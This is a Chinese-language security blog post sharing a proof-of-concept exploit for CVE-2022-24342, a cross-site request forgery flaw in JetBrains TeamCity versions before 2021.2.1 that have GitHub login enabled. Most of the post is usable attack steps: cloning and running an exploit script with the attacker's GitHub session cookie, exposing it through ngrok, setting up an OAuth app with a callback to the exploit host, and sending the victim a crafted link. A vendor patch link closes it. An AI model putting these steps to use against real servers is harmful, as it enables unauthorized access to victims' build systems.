【CVE-2022-24342】JetBrains TeamCity 跨站请求伪造漏洞POC

作者:Sec-Labs | 发布时间:

漏洞介绍

Jetbrains JetBrains TeamCity是捷克JetBrains(Jetbrains)公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。

JetBrains TeamCity 中存在跨站请求伪造漏洞,该漏洞源于产品未对URL中的特殊字符进行充分检查。攻击者可通过该漏洞导致注入。以下产品及版本受到影响:JetBrains TeamCity 2021.2.1 之前版本。

要求

  • JetBrains TeamCity <2021.2.1
  • 启用GitHub认证

利用方法

  • 尝试用攻击者的GitHub账户登录到目标TeamCity界面,使TeamCity的GitHub应用得到授权
  • 安装并运行

POC

$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

usage: exploit.py [-h] -s S [-p P]

optional arguments:
  -h, --help  show this help message and exit
  -s S        GitHub user session
  -p P        Uvicorn port

$ python3 exploit.py -s {attackers_github_session_cookie}

如果你在本地机器上运行该漏洞,你可能需要使用Ngrok或替代品。

$ ngrok http 8000

创建GitHub OAuth2应用程序

homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"

将以下链接发送给受害者

http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}

演示视频

 

 

修复方案

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://blog.jetbrains.com/blog/2022/02/08/jetbrains-security-bulletin-q4-2021/

标签:工具分享